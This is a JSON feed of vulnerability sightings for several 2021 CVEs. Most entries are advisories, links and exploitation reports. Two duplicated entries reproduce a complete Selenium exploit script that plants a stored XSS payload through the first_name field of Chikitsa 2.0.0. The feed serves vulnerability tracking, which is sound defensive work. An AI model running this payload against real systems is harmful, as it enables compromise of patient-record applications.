{"vulnerability": "cve-2021-3815", "sightings": [{"uuid": "b5b002b9-70b9-4815-ad01-401d39c8584d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3m2zlw2iwgd2n", "content": "", "creation_timestamp": "2025-10-12T21:02:31.314343Z"}, {"uuid": "7ed13f30-1986-4849-8b43-ef7e039b01ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2021/CVE-2021-38154.yaml", "content": "", "creation_timestamp": "2025-10-10T10:51:44.000000Z"}, {"uuid": "cb9f952b-7f61-495a-81a5-19d0042ce411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38156", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/644", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for exploiting CVE-2021-38156 : In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.\nURL\uff1ahttps://github.com/AIPOCAI/CVE-2021-39204", "creation_timestamp": "2021-10-05T12:34:09.000000Z"}, {"uuid": "ca671249-1520-4caf-b68c-43c5078561ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38156", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/645", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aPoC for exploiting CVE-2021-38156 : In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.\nURL\uff1ahttps://github.com/AKIA27TACKEDYE76PUGU/CVE-2021-39204", "creation_timestamp": "2021-10-05T13:51:13.000000Z"}, {"uuid": "88e57af2-cd7e-4198-815c-89507bb91fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38159", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/49716", "content": "Palantir Public: SQL Injection at https://ift.tt/xHz9Lcb due to CVE-2021-38159\n\nhttps://ift.tt/LyudQ2n", "creation_timestamp": "2022-04-05T13:51:54.000000Z"}, {"uuid": "79ca4a8f-8dac-46b4-96c7-2be7c489231a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3815", "type": "seen", "source": "https://t.me/cibsecurity/33614", "content": "\u203c CVE-2021-3815 \u203c\n\nutils.js is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-12-08T20:22:47.000000Z"}, {"uuid": "3a9dddf1-0797-4020-9123-179b005af360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38150", "type": "seen", "source": "https://t.me/cibsecurity/28807", "content": "\u203c CVE-2021-38150 \u203c\n\nWhen an attacker manages to get access to the local memory, or the memory dump of a victim, for example by a social engineering attack, SAP Business Client versions - 7.0, 7.70, will allow him to read extremely sensitive data, such as credentials. This would allow the attacker to compromise the corresponding backend for which the credentials are valid.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-14T16:22:04.000000Z"}, {"uuid": "921fdfc7-2f2a-46ff-b6fe-2cce358717e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38156", "type": "seen", "source": "https://t.me/cibsecurity/28907", "content": "\u203c CVE-2021-38156 \u203c\n\nIn Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-09-15T18:22:33.000000Z"}, {"uuid": "7b182944-80df-4d70-aa4c-8b99123473b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38152", "type": "seen", "source": "https://t.me/cibsecurity/26928", "content": "\u203c CVE-2021-38152 \u203c\n\nindex.php/appointment/insert_patient_add_appointment in Chikitsa Patient Management System 2.0.0 allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-06T16:32:43.000000Z"}, {"uuid": "67c29030-6f59-4780-819f-3effc6c561b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38159", "type": "seen", "source": "https://t.me/cibsecurity/26967", "content": "\u203c CVE-2021-38159 \u203c\n\nIn certain Progress MOVEit Transfer versions before 2021.0.4 (aka 13.0.4), SQL injection in the MOVEit Transfer web application could allow an unauthenticated remote attacker to gain access to the database. Depending on the database engine being used (MySQL, Microsoft SQL Server, or Azure SQL), an attacker may be able to infer information about the structure and contents of the database, or execute SQL statements that alter or delete database elements, via crafted strings sent to unique MOVEit Transfer transaction types. The fixed versions are 2019.0.8 (11.0.8), 2019.1.7 (11.1.7), 2019.2.4 (11.2.4), 2020.0.7 (12.0.7), 2020.1.6 (12.1.6), and 2021.0.4 (13.0.4).\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-07T20:34:33.000000Z"}, {"uuid": "7e50f96c-ba16-423f-86aa-716a91ba9e38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38157", "type": "seen", "source": "https://t.me/cibsecurity/26963", "content": "\u203c CVE-2021-38157 \u203c\n\n** UNSUPPORTED WHEN ASSIGNED ** LeoStream Connection Broker 9.x before 9.0.34.3 allows Unauthenticated Reflected XSS via the /index.pl user parameter. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-07T00:33:15.000000Z"}, {"uuid": "e14d1f5a-bc6d-439d-8bb0-9e134c01e1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38155", "type": "seen", "source": "https://t.me/cibsecurity/26962", "content": "\u203c CVE-2021-38155 \u203c\n\nOpenStack Keystone 10.x through 16.x before 16.0.2, 17.x before 17.0.1, 18.x before 18.0.1, and 19.x before 19.0.1 allows information disclosure during account locking (related to PCI DSS features). By guessing the name of an account and failing to authenticate multiple times, any unauthenticated actor could both confirm the account exists and obtain that account's corresponding UUID, which might be leveraged for other unrelated attacks. All deployments enabling security_compliance.lockout_failure_attempts are affected.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-07T00:33:14.000000Z"}, {"uuid": "18cc2cb8-3759-4717-a6b8-2c00c1bd3311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38151", "type": "seen", "source": "https://t.me/cibsecurity/26925", "content": "\u203c CVE-2021-38151 \u203c\n\nindex.php/appointment/todos in Chikitsa Patient Management System 2.0.0 allows XSS.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2021-08-06T16:32:40.000000Z"}, {"uuid": "880c13dc-8e9c-43b5-a27a-f236794935b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-21)", "content": "", "creation_timestamp": "2026-05-21T00:00:00.000000Z"}, {"uuid": "81f62f0a-745d-462d-9006-1a2e5bea0623", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-04)", "content": "", "creation_timestamp": "2026-06-04T00:00:00.000000Z"}, {"uuid": "f01e0663-c172-495e-8cf6-269ceb7fd5a6", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/17fce81b-c58e-4422-83e3-b2bca483efbc", "content": "", "creation_timestamp": "2026-06-19T12:48:06.339327Z"}, {"uuid": "ee1eae31-b01d-49db-bc59-7d436b7349ca", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/53c88425-4693-4c73-aca6-831199bc26ea", "content": "", "creation_timestamp": "2026-06-23T14:04:05.678325Z"}, {"uuid": "1ad5bf9b-94de-4cf1-93ad-ea6e816afda2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38154", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-24)", "content": "", "creation_timestamp": "2026-06-25T10:15:24.647828Z"}, {"uuid": "a555f54b-0516-47c7-875b-605b61a4f7ce", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2021-38154", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8ff06bcc-bb2a-4b3c-8211-9c27155ffd78", "content": "", "creation_timestamp": "2026-06-30T09:23:13.236127Z"}, {"uuid": "64ac2e07-0bf6-4380-bc25-b2682f6458b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38153", "type": "seen", "source": "https://t.me/hacking_Attack/97957", "content": "Black Hat Ethical Hacking\nNew generation of botnets builds high-performance VPS-based DDoS attacks\n\nNew generation of botnets builds high-performance VPS-based DDoS attacksPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VPS-based botnets: the new threat landscape for DDoS attacks in 2023Cloudflare, an internet security company, has reported that hyper-volumetric DDoS (distributed denial of service) attacks in Q1 2023 have shifted focus from compromised IoT devices to breached Virtual Private Servers (VPS). The new generation of botnets has gradually abandoned building large swarms of individually weak IoT devices and is now enslaving vulnerable and misconfigured VPS servers using leaked API credentials or known exploits. This shift allows threat actors to build high-performance botnets more easily and quickly, up to 5,000 times stronger than IoT-based botnets.\n\n\u201cCloud computing providers offer virtual private servers to allow startups and businesses to create performant applications. The downside is that it also allows attackers to create high-performance botnets that can be as much as 5,000x stronger,\u201d explains Cloudflare in their report. The company has been collaborating with cloud computing providers and partners to crack down on these emerging VPS-based threats and claims to have successfully taken down significant portions of these novel botnets.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/image14.png VPS servers used for DDoS attacks (Cloudflare)\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses Ransom DDoS attacks increase by 60% YoY, with VPS-based botnets contributing to the riseCloudflare also reports steady DDoS activity in the first quarter of the year, with a 60% YoY increase in ransom DDoS attacks representing 16% of all recorded or reported DDoS attacks. These extortion-based DDoS attacks cause service outages to the target by bombarding them with garbage traffic and continue indefinitely until the victim meets the attacker\u2019s demands.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0.png Ransom DDoS attacks (Cloudflare)\n\nAlthough most attacks (86.6%) lasted for under 10 minutes, the number of larger attacks is still growing. Attacks surpassing 100 Gbps have recorded a rise of about 6.5% compared to the previous quarter.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--14--1.png DDoS attack size trends (Cloudflare)\n\nCloudflare also recorded emerging trends in DDoS attacks during this quarter. There was a 1,565% QoQ increase in SPSS (statistical product and service solutions) based DDoS attacks fueled by the exploitation of two flaws (CVE-2021-22731 and CVE-2021-38153) in the Sentinel RMS License Manager service. Additionally, there was a 958% QoQ rise in DNS amplification DDoS attacks, where attackers exploit DNS infrastructure flaws to generate large amounts of traffic, and an 835% QoQ increase in GRE (generic routing encapsulation) based DDoS attacks, where attackers abuse the GRE protocol to flood the victim\u2019s network with garbage requests.\nTrending: The Rise and Fall of Sabu: From Hacker Hero to FBI Informant Trending: Offensive Security Tool: Mythic Effective defense strategies for the evolving threat of DDoS attacks in 2023Effective defense strategies require automated detection and mitigation solutions, as DDoS attacks in Q1 2023 show a trend of increasing in size and duration and are targeting a broad range of industries.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--16-.png New DDoS attack tren[...]", "creation_timestamp": "2026-09-01T20:00:59.858534Z"}, {"uuid": "82ed2528-1b92-4cd9-a57d-c3293669b28d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38152", "type": "seen", "source": "https://t.me/hacking_Attack/20123", "content": "Exploit Collector\nChikitsa 2.0.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChikitsa version 2.0.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 56c7c313e44db5bcbdb1bb7d718c5928\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter \"first_name\"\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.09.2021\n# Vendor: https://chikitsa.net/\n# Link: https://sourceforge.net/projects/chikitsa/\n# CVE: CVE-2021-38152\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-38152\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/Chikitsa2.0.0/index.php/login/index\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"username\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n## Exploit\ntime.sleep(3)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user\n\"))\n\n## buttons\n\nbrowser.execute_script(\"document.querySelector('[class=\\\"form-control\\\"]').value=\\\"Doctor\\\"\")\n\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n'Mr'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector\n('[name=\\\"first_name\\\"]').value = ' \nhttps://raw.githubusercontent.com/nu11secur1ty/XSSight/master/XSS-image/image/kostaakatil.webp\nonerror=alert(1) />'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"middle_name\\\"]').value\n= 'Userov'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"last_name\\\"]').value\n= 'Userski'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"username\\\"]').value\n= 'D0ct0rA'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"password\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"passconf\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('#is_active').checked =\ntrue\")\n\n## submit\n\nbrowser.execute_script(\"document.querySelector('[name=\\\"submit\\\"]').click()\")\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38152\n# Proof: https://streamable.com/wbo5c1\n# BR nu11secur1ty\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:28.504440Z"}, {"uuid": "e82e2f61-555d-456e-abb6-8d58b96713eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38153", "type": "seen", "source": "https://t.me/hacking_Attack/97957", "content": "Black Hat Ethical Hacking\nNew generation of botnets builds high-performance VPS-based DDoS attacks\n\nNew generation of botnets builds high-performance VPS-based DDoS attacksPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VPS-based botnets: the new threat landscape for DDoS attacks in 2023Cloudflare, an internet security company, has reported that hyper-volumetric DDoS (distributed denial of service) attacks in Q1 2023 have shifted focus from compromised IoT devices to breached Virtual Private Servers (VPS). The new generation of botnets has gradually abandoned building large swarms of individually weak IoT devices and is now enslaving vulnerable and misconfigured VPS servers using leaked API credentials or known exploits. This shift allows threat actors to build high-performance botnets more easily and quickly, up to 5,000 times stronger than IoT-based botnets.\n\n\u201cCloud computing providers offer virtual private servers to allow startups and businesses to create performant applications. The downside is that it also allows attackers to create high-performance botnets that can be as much as 5,000x stronger,\u201d explains Cloudflare in their report. The company has been collaborating with cloud computing providers and partners to crack down on these emerging VPS-based threats and claims to have successfully taken down significant portions of these novel botnets.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/image14.png VPS servers used for DDoS attacks (Cloudflare)\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses Ransom DDoS attacks increase by 60% YoY, with VPS-based botnets contributing to the riseCloudflare also reports steady DDoS activity in the first quarter of the year, with a 60% YoY increase in ransom DDoS attacks representing 16% of all recorded or reported DDoS attacks. These extortion-based DDoS attacks cause service outages to the target by bombarding them with garbage traffic and continue indefinitely until the victim meets the attacker\u2019s demands.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0.png Ransom DDoS attacks (Cloudflare)\n\nAlthough most attacks (86.6%) lasted for under 10 minutes, the number of larger attacks is still growing. Attacks surpassing 100 Gbps have recorded a rise of about 6.5% compared to the previous quarter.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--14--1.png DDoS attack size trends (Cloudflare)\n\nCloudflare also recorded emerging trends in DDoS attacks during this quarter. There was a 1,565% QoQ increase in SPSS (statistical product and service solutions) based DDoS attacks fueled by the exploitation of two flaws (CVE-2021-22731 and CVE-2021-38153) in the Sentinel RMS License Manager service. Additionally, there was a 958% QoQ rise in DNS amplification DDoS attacks, where attackers exploit DNS infrastructure flaws to generate large amounts of traffic, and an 835% QoQ increase in GRE (generic routing encapsulation) based DDoS attacks, where attackers abuse the GRE protocol to flood the victim\u2019s network with garbage requests.\nTrending: The Rise and Fall of Sabu: From Hacker Hero to FBI Informant Trending: Offensive Security Tool: Mythic Effective defense strategies for the evolving threat of DDoS attacks in 2023Effective defense strategies require automated detection and mitigation solutions, as DDoS attacks in Q1 2023 show a trend of increasing in size and duration and are targeting a broad range of industries.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--16-.png New DDoS attack tren[...]", "creation_timestamp": "2026-09-02T01:01:20.613383Z"}, {"uuid": "8ec956e5-5af7-44bf-a417-bee0b97d97ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38152", "type": "seen", "source": "https://t.me/hacking_Attack/20123", "content": "Exploit Collector\nChikitsa 2.0.0 Cross Site Scripting\n\nhttps://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png \nChikitsa version 2.0.0 suffers from a cross site scripting vulnerability.\n\nMD5 | 56c7c313e44db5bcbdb1bb7d718c5928\n\nDownload\n# Exploit Title: XSS-Stored - Brutal PWNED on Chikitsa 2.0.0 parameter \"first_name\"\n# Author: nu11secur1ty\n# Testing and Debugging: nu11secur1ty $ g3ck0dr1v3r\n# Date: 08.09.2021\n# Vendor: https://chikitsa.net/\n# Link: https://sourceforge.net/projects/chikitsa/\n# CVE: CVE-2021-38152\n\n[+] Exploit Source:\n\n#!/usr/bin/python3\n# Author: @nu11secur1ty\n# CVE-2021-38152\n\nfrom selenium import webdriver\nimport time\n#enter the link to the website you want to automate login.\nwebsite_link=\"http://192.168.1.120/Chikitsa2.0.0/index.php/login/index\"\n\n#enter your login username\nusername=\"nu11secur1ty\"\n\n#enter your login password\npassword=\"password\"\n\n#enter the element for username input field\nelement_for_username=\"username\"\n#enter the element for password input field\nelement_for_password=\"password\"\n#enter the element for submit button\nelement_for_submit=\"submit\"\n\nbrowser = webdriver.Chrome()\nbrowser.get((website_link))\n\ntry:\nusername_element = browser.find_element_by_name(element_for_username)\nusername_element.send_keys(username)\npassword_element  = browser.find_element_by_name(element_for_password)\npassword_element.send_keys(password)\nsignInButton = browser.find_element_by_name(element_for_submit)\nsignInButton.click()\n\n## Exploit\ntime.sleep(3)\nbrowser.maximize_window()\nbrowser.get((\"http://192.168.1.120/Chikitsa2.0.0/index.php/admin/add_user\n\"))\n\n## buttons\n\nbrowser.execute_script(\"document.querySelector('[class=\\\"form-control\\\"]').value=\\\"Doctor\\\"\")\n\ntime.sleep(3)\nbrowser.execute_script(\"document.querySelector('[name=\\\"title\\\"]').value =\n'Mr'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector\n('[name=\\\"first_name\\\"]').value = ' \nhttps://raw.githubusercontent.com/nu11secur1ty/XSSight/master/XSS-image/image/kostaakatil.webp\nonerror=alert(1) />'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"middle_name\\\"]').value\n= 'Userov'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"last_name\\\"]').value\n= 'Userski'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"username\\\"]').value\n= 'D0ct0rA'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"password\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('[name=\\\"passconf\\\"]').value\n= 'password'\")\n\ntime.sleep(1)\nbrowser.execute_script(\"document.querySelector('#is_active').checked =\ntrue\")\n\n## submit\n\nbrowser.execute_script(\"document.querySelector('[name=\\\"submit\\\"]').click()\")\n\nprint(\"payload is deployed...\\n\")\n\nexcept Exception:\n#### This exception occurs if the element are not found in the webpage.\nprint(\"Some error occured :(\")\n----------------------------------------------------------------------------------------\n\n# Reproduce:\nhttps://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-38152\n# Proof: https://streamable.com/wbo5c1\n# BR nu11secur1ty\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:01.800075Z"}, {"uuid": "a6a2ae26-efef-4a4c-9f78-1cca5415cf7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-38153", "type": "seen", "source": "https://t.me/hacking_Attack/97957", "content": "Black Hat Ethical Hacking\nNew generation of botnets builds high-performance VPS-based DDoS attacks\n\nNew generation of botnets builds high-performance VPS-based DDoS attacksPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes VPS-based botnets: the new threat landscape for DDoS attacks in 2023Cloudflare, an internet security company, has reported that hyper-volumetric DDoS (distributed denial of service) attacks in Q1 2023 have shifted focus from compromised IoT devices to breached Virtual Private Servers (VPS). The new generation of botnets has gradually abandoned building large swarms of individually weak IoT devices and is now enslaving vulnerable and misconfigured VPS servers using leaked API credentials or known exploits. This shift allows threat actors to build high-performance botnets more easily and quickly, up to 5,000 times stronger than IoT-based botnets.\n\n\u201cCloud computing providers offer virtual private servers to allow startups and businesses to create performant applications. The downside is that it also allows attackers to create high-performance botnets that can be as much as 5,000x stronger,\u201d explains Cloudflare in their report. The company has been collaborating with cloud computing providers and partners to crack down on these emerging VPS-based threats and claims to have successfully taken down significant portions of these novel botnets.\n\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/image14.png VPS servers used for DDoS attacks (Cloudflare)\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses Ransom DDoS attacks increase by 60% YoY, with VPS-based botnets contributing to the riseCloudflare also reports steady DDoS activity in the first quarter of the year, with a 60% YoY increase in ransom DDoS attacks representing 16% of all recorded or reported DDoS attacks. These extortion-based DDoS attacks cause service outages to the target by bombarding them with garbage traffic and continue indefinitely until the victim meets the attacker\u2019s demands.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0.png Ransom DDoS attacks (Cloudflare)\n\nAlthough most attacks (86.6%) lasted for under 10 minutes, the number of larger attacks is still growing. Attacks surpassing 100 Gbps have recorded a rise of about 6.5% compared to the previous quarter.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--14--1.png DDoS attack size trends (Cloudflare)\n\nCloudflare also recorded emerging trends in DDoS attacks during this quarter. There was a 1,565% QoQ increase in SPSS (statistical product and service solutions) based DDoS attacks fueled by the exploitation of two flaws (CVE-2021-22731 and CVE-2021-38153) in the Sentinel RMS License Manager service. Additionally, there was a 958% QoQ rise in DNS amplification DDoS attacks, where attackers exploit DNS infrastructure flaws to generate large amounts of traffic, and an 835% QoQ increase in GRE (generic routing encapsulation) based DDoS attacks, where attackers abuse the GRE protocol to flood the victim\u2019s network with garbage requests.\nTrending: The Rise and Fall of Sabu: From Hacker Hero to FBI Informant Trending: Offensive Security Tool: Mythic Effective defense strategies for the evolving threat of DDoS attacks in 2023Effective defense strategies require automated detection and mitigation solutions, as DDoS attacks in Q1 2023 show a trend of increasing in size and duration and are targeting a broad range of industries.\nhttps://www.bleepstatic.com/images/news/u/1220909/2023/DDoS/8/pasted-image-0--16-.png New DDoS attack tren[...]", "creation_timestamp": "2026-09-04T16:00:05.162783Z"}]}